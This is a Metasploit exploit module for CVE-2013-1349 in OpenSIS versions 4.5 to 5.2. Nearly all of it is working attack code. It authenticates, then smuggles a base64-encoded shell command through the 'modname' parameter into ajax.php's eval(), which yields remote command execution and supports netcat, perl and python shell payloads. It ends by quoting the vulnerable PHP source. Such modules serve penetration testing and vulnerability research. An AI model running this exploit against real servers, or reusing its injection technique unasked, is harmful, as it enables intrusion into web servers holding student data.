## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => "OpenSIS 'modname' PHP Code Execution", 'Description' => %q{ This module exploits a PHP code execution vulnerability in OpenSIS versions 4.5 to 5.2 which allows any authenticated user to execute arbitrary PHP code under the context of the web-server user. The 'ajax.php' file calls 'eval()' with user controlled data from the 'modname' parameter. }, 'License' => MSF_LICENSE, 'Author' => [ 'EgiX', # Discovery 'bcoles' # msf exploit ], 'References' => [ ['CVE', '2013-1349'], ['OSVDB', '100676'], ['URL', 'http://karmainsecurity.com/KIS-2013-10'], ['URL', 'http://sourceforge.net/p/opensis-ce/bugs/59/'] ], 'Payload' => { 'BadChars' => "\x00\x0a\x0d", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic telnet netcat netcat-e perl ruby python', } }, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ # Tested on OpenSIS versions 4.9 and 5.2 (Ubuntu Linux) ['OpenSIS version 4.5 to 5.2', { 'auto' => true }] ], 'Privileged' => false, 'DisclosureDate' => '2012-12-04', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The URI for OpenSIS', '/opensis/']), OptString.new('USERNAME', [true, 'The username for OpenSIS']), OptString.new('PASSWORD', [true, 'The password for OpenSIS']) ] ) end # # Login # def login(user, pass) @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10) + 10)};" print_status("Authenticating as user '#{user}'") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "index.php"), 'cookie' => @cookie, 'vars_post' => Hash[{ 'USERNAME' => user, 'PASSWORD' => pass, }.to_a.shuffle] }) if res and res.code == 200 and res.body =~ /Portal\.php/ print_good("Authenticated as user '#{user}'") return true else print_error("Authenticating as user '#{user}' failed") return false end end # # Send command for execution # def execute_command(cmd, opts = { :php_function => 'system' }) code = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd + "&")) junk = rand_text_alphanumeric(rand(10) + 6) print_status("Sending payload (#{code.length} bytes)") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax.php'), 'cookie' => @cookie, 'vars_post' => { 'modname' => "#{junk}?#{junk}=#{junk}';#{opts[:php_function]}(base64_decode('#{code}'));//" } }) return res end # # Check credentials are valid and confirm command execution # def check return Exploit::CheckCode::Unknown unless login(datastore['USERNAME'], datastore['PASSWORD']) fingerprint = Rex::Text.rand_text_alphanumeric(rand(10) + 10) vprint_status("Sending check") res = execute_command("echo #{fingerprint}") if res and res.body =~ /align=center>#{fingerprint}/ return Exploit::CheckCode::Vulnerable elsif res return Exploit::CheckCode::Safe end return Exploit::CheckCode::Unknown end def exploit return unless login(datastore['USERNAME'], datastore['PASSWORD']) php_function = [ 'exec', 'shell_exec', 'passthru', 'system' ].sample res = execute_command(payload.encoded, { :php_function => php_function }) if res and res.code == 200 and res.body =~ /hacking_log/i print_good("Payload sent successfully") else fail_with(Failure::UnexpectedReply, "#{peer} - Sending payload failed") end end end # # Source # =begin ajax.php 90: if(strpos($_REQUEST['modname'],'?')!==false) 91: { 92: $vars = substr($_REQUEST['modname'],(strpos($_REQUEST['modname'],'?')+1)); 93: $modname = substr($_REQUEST['modname'],0,strpos($_REQUEST['modname'],'?')); 94: 95: $vars = explode('?',$vars); 96: foreach($vars as $code) 97: { 98: $code = decode_unicode_url("\$_REQUEST['".str_replace('=',"']='",$code)."';"); 99: eval($code); 100: } 101: } =end